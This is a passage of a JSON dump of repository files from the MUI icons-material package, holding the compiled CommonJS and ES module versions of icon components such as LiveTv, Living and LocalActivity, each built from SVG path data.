9h2c0-1.1.9-2 2-2\"\n}, \"1\")], 'LiveHelpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveHelpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18h4.83l.59.59L12 20.17l1.59-1.59.58-.58H19V4H5zm8-1h-2v-2h2zM12 5c2.21 0 4 1.79 4 4 0 2.5-3 2.75-3 5h-2c0-3.25 3-3 3-5 0-1.1-.9-2-2-2s-2 .9-2 2H8c0-2.21 1.79-4 4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h4l3 3 3-3h4c1.1 0 2-.9 2-2zm-2 14h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5V4h14zm-8-3h2v2h-2zm1-8c1.1 0 2 .9 2 2 0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4S8 6.79 8 9h2c0-1.1.9-2 2-2\"\n}, \"1\")], 'LiveHelpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTv.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-7.59l3.29-3.29L16 2l-4 4-4-4-.71.71L10.59 6H3c-1.1 0-2 .89-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.11-.9-2-2-2m0 14H3V8h18zM9 10v8l7-4z\"\n}), 'LiveTv');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTv.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-7.59l3.29-3.29L16 2l-4 4-4-4-.71.71L10.59 6H3c-1.1 0-2 .89-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.11-.9-2-2-2m0 14H3V8h18zM9 10v8l7-4z\"\n}), 'LiveTv');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v8l7-4zm12-4h-7.58l3.29-3.29L16 2l-4 4h-.03l-4-4-.69.71L10.56 6H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 14H3V8h18z\"\n}), 'LiveTvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v8l7-4zm12-4h-7.58l3.29-3.29L16 2l-4 4h-.03l-4-4-.69.71L10.56 6H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 14H3V8h18z\"\n}), 'LiveTvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.5 17.15 3.98-2.28c.67-.38.67-1.35 0-1.74l-3.98-2.28c-.67-.38-1.5.11-1.5.87v4.55c0 .77.83 1.26 1.5.88M21 6h-7.59l2.94-2.94c.2-.2.2-.51 0-.71s-.51-.2-.71 0L12 5.99 8.36 2.35c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L10.59 6H3c-1.1 0-2 .89-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'LiveTvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.5 17.15 3.98-2.28c.67-.38.67-1.35 0-1.74l-3.98-2.28c-.67-.38-1.5.11-1.5.87v4.55c0 .77.83 1.26 1.5.88M21 6h-7.59l2.94-2.94c.2-.2.2-.51 0-.71s-.51-.2-.71 0L12 5.99 8.36 2.35c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L10.59 6H3c-1.1 0-2 .89-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.11-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'LiveTvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 6h-9.59l3.29-3.29L16 2l-4 4-4-4-.71.71L10.59 6H1v16h22zm-2 14H3V8h18zM9 10v8l7-4z\"\n}), 'LiveTvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 6h-9.59l3.29-3.29L16 2l-4 4-4-4-.71.71L10.59 6H1v16h22zm-2 14H3V8h18zM9 10v8l7-4z\"\n}), 'LiveTvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 20h18V8H3zm6-10 7 4-7 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v8l7-4zm12-4h-7.58l3.29-3.29L16 2l-4 4h-.03l-4-4-.69.71L10.56 6H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 14H3V8h18z\"\n}, \"1\")], 'LiveTvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LiveTvTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 20h18V8H3zm6-10 7 4-7 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v8l7-4zm12-4h-7.58l3.29-3.29L16 2l-4 4h-.03l-4-4-.69.71L10.56 6H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 14H3V8h18z\"\n}, \"1\")], 'LiveTvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Living.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 11.5c-.55 0-1 .45-1 1v2h-7v-2c0-.55-.45-1-1-1s-1 .45-1 1V16c0 .28.22.5.5.5h10c.28 0 .5-.22.5-.5v-3.5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12.5v.5h4v-.5c0-1.3.99-2.35 2.25-2.47V9c0-.83-.67-1.5-1.5-1.5h-5.5c-.83 0-1.5.67-1.5 1.5v1.03C9.01 10.15 10 11.2 10 12.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2v-3.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15z\"\n}, \"2\")], 'Living');"
  },
  {
    "path": "packages/mui-icons-material/lib/Living.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 11.5c-.55 0-1 .45-1 1v2h-7v-2c0-.55-.45-1-1-1s-1 .45-1 1V16c0 .28.22.5.5.5h10c.28 0 .5-.22.5-.5v-3.5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12.5v.5h4v-.5c0-1.3.99-2.35 2.25-2.47V9c0-.83-.67-1.5-1.5-1.5h-5.5c-.83 0-1.5.67-1.5 1.5v1.03C9.01 10.15 10 11.2 10 12.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2v-3.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15z\"\n}, \"2\")], 'Living');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.75 10.35V9c0-1.66-1.34-3-3-3h-5.5c-1.66 0-3 1.34-3 3v1.35C5.51 10.78 5 11.58 5 12.5V16c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3.5c0-.92-.51-1.72-1.25-2.15M9.25 7.5h5.5c.83 0 1.5.67 1.5 1.5v1.03C14.99 10.15 14 11.2 14 12.5v.5h-4v-.5c0-1.3-.99-2.35-2.25-2.47V9c0-.83.67-1.5 1.5-1.5M17.5 16c0 .28-.22.5-.5.5H7c-.28 0-.5-.22-.5-.5v-3.5c0-.55.45-1 1-1s1 .45 1 1v2h7v-2c0-.55.45-1 1-1s1 .45 1 1zM20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'LivingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.75 10.35V9c0-1.66-1.34-3-3-3h-5.5c-1.66 0-3 1.34-3 3v1.35C5.51 10.78 5 11.58 5 12.5V16c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-3.5c0-.92-.51-1.72-1.25-2.15M9.25 7.5h5.5c.83 0 1.5.67 1.5 1.5v1.03C14.99 10.15 14 11.2 14 12.5v.5h-4v-.5c0-1.3-.99-2.35-2.25-2.47V9c0-.83.67-1.5 1.5-1.5M17.5 16c0 .28-.22.5-.5.5H7c-.28 0-.5-.22-.5-.5v-3.5c0-.55.45-1 1-1s1 .45 1 1v2h7v-2c0-.55.45-1 1-1s1 .45 1 1zM20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'LivingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 11.5c-.55 0-1 .45-1 1v2h-7v-2c0-.55-.45-1-1-1s-1 .45-1 1V16c0 .28.22.5.5.5h10c.28 0 .5-.22.5-.5v-3.5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12.5v.5h4v-.5c0-1.3.99-2.35 2.25-2.47V9c0-.83-.67-1.5-1.5-1.5h-5.5c-.83 0-1.5.67-1.5 1.5v1.03C9.01 10.15 10 11.2 10 12.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2v-3.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15z\"\n}, \"2\")], 'LivingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 11.5c-.55 0-1 .45-1 1v2h-7v-2c0-.55-.45-1-1-1s-1 .45-1 1V16c0 .28.22.5.5.5h10c.28 0 .5-.22.5-.5v-3.5c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12.5v.5h4v-.5c0-1.3.99-2.35 2.25-2.47V9c0-.83-.67-1.5-1.5-1.5h-5.5c-.83 0-1.5.67-1.5 1.5v1.03C9.01 10.15 10 11.2 10 12.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2v-3.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15z\"\n}, \"2\")], 'LivingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 12v2.5h-7V12h-2v4.5h11V12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v3h4v-3l2.25-.01V7.5h-8.5v2.49z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-3 7.99V18H5v-8l1.25-.01V6h11.5v3.99z\"\n}, \"2\")], 'LivingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 12v2.5h-7V12h-2v4.5h11V12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v3h4v-3l2.25-.01V7.5h-8.5v2.49z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-3 7.99V18H5v-8l1.25-.01V6h11.5v3.99z\"\n}, \"2\")], 'LivingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm1-7.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15V16c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM7 18h10c1.1 0 2-.9 2-2v-3.5c0-.92-.51-1.72-1.25-2.15V9c0-1.66-1.34-3-3-3h-5.5c-1.66 0-3 1.34-3 3v1.35C5.51 10.78 5 11.58 5 12.5V16c0 1.1.9 2 2 2m.75-9c0-.83.67-1.5 1.5-1.5h5.5c.83 0 1.5.67 1.5 1.5v1.03C14.99 10.15 14 11.2 14 12.5v.5h-4v-.5c0-1.3-.99-2.35-2.25-2.47zM6.5 12.5c0-.55.45-1 1-1s1 .45 1 1v2h7v-2c0-.55.45-1 1-1s1 .45 1 1V16c0 .28-.22.5-.5.5H7c-.28 0-.5-.22-.5-.5z\"\n}, \"1\")], 'LivingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LivingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm1-7.5c0-.92.51-1.72 1.25-2.15V9c0-1.66 1.34-3 3-3h5.5c1.66 0 3 1.34 3 3v1.35c.74.43 1.25 1.23 1.25 2.15V16c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM7 18h10c1.1 0 2-.9 2-2v-3.5c0-.92-.51-1.72-1.25-2.15V9c0-1.66-1.34-3-3-3h-5.5c-1.66 0-3 1.34-3 3v1.35C5.51 10.78 5 11.58 5 12.5V16c0 1.1.9 2 2 2m.75-9c0-.83.67-1.5 1.5-1.5h5.5c.83 0 1.5.67 1.5 1.5v1.03C14.99 10.15 14 11.2 14 12.5v.5h-4v-.5c0-1.3-.99-2.35-2.25-2.47zM6.5 12.5c0-.55.45-1 1-1s1 .45 1 1v2h7v-2c0-.55.45-1 1-1s1 .45 1 1V16c0 .28-.22.5-.5.5H7c-.28 0-.5-.22-.5-.5z\"\n}, \"1\")], 'LivingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivity.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalActivity');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivity.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalActivity');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}), 'LocalActivityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}), 'LocalActivityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-.76.43-1.42 1.06-1.76.6-.33.94-1.01.94-1.7V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 1.99v2.55c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7V18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76m-5.5 4.1L12 14.5l-2.5 1.61c-.38.24-.87-.11-.75-.55l.75-2.88-2.3-1.88c-.35-.29-.17-.86.29-.89l2.96-.17 1.08-2.75c.17-.42.77-.42.93 0l1.08 2.76 2.96.17c.45.03.64.6.29.89l-2.3 1.88.76 2.86c.12.45-.37.8-.75.55\"\n}), 'LocalActivityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-.76.43-1.42 1.06-1.76.6-.33.94-1.01.94-1.7V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 1.99v2.55c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7V18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76m-5.5 4.1L12 14.5l-2.5 1.61c-.38.24-.87-.11-.75-.55l.75-2.88-2.3-1.88c-.35-.29-.17-.86.29-.89l2.96-.17 1.08-2.75c.17-.42.77-.42.93 0l1.08 2.76 2.96.17c.45.03.64.6.29.89l-2.3 1.88.76 2.86c.12.45-.37.8-.75.55\"\n}), 'LocalActivityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalActivitySharp.js",
